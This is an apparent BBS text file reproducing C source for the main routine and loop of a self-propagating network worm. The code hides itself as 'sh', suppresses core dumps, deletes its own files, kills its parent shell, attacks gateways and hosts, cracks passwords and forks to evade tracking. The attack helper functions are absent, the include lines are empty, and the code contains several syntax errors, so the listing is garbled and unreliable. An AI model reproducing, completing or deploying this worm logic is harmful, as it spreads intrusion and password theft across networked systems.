Code Worm Virus

666 The Dead Zone 214-522-5321 300/1200/2400 666

#include

#include

#include

#include




long current_time;

struct rlimit no_core = {0,0};



int

main (argc, argv)

int argc;

char *argv[];



{

int n;

int parent = 0;

int okay = 0;

/* change calling name to "sh" */

strcpy(argv[0], "sh");

/* prevent core files by setting limit to 0 */

setrlimit(RLIMIT_CORE, no_core);

current_time = time(0);

/* seed random number generator with time */

srand48(current_time);

n = 1;

while (argv[n]) {

/* save process id of parent */

if (!strncmp(argv[n], "-p", 2)) { parent = atoi (argv[++n]); n++;

}

else { /* check for 1l.c in argument list */ if (!strncmp(argv([n], "1l.c", 4)) okay = 1; /* load an object file into memory */ load_object (argv[n]; /* clean up by unlinking file */ if (parent) unlink (argv[n]); /* and removing object file name */ strcpy (argv[n++], "");

} }

/* if 1l.c was not in argument list, quit */

if (!okay)

exit (0);

/* reset process group */

setpgrp (getpid());

/* kill parent shell if parent is set */

if (parent)

kill(parent, SIGHUP);

/* scan for network interfaces */

if_init();

/* collect list of gateways from netstat */

rt_init();

/* start main loop */

doit();

}



int

doit()

{

current_time = time (0);

/* seed random number generator (again) */

srand48(current_time);

/* attack gateways, local nets, remote nets */

attack_hosts();

/* check for a "listening" worm */

check_other ()

/* attempt to send byte to "ernie" */

send_message ()

for (; {

/* crack some passwords */

crack_some ();

/* sleep or listen for other worms */

other_sleep (30);

crack_some ();

/* switch process id's */

if (fork()) /* parent exits, new worm continues */ exit (0);

/* attack gateways, known hosts */

attack_hosts();

other_sleep(120); /* if 12 hours have passed, reset hosts */

if(time (0) == current_time + (3600*12)) { reset_hosts(); current_time = time(0); } /* quit if pleasequit is set, and nextw10 */

if (pleasequit && nextw 10) exit (0);

}

}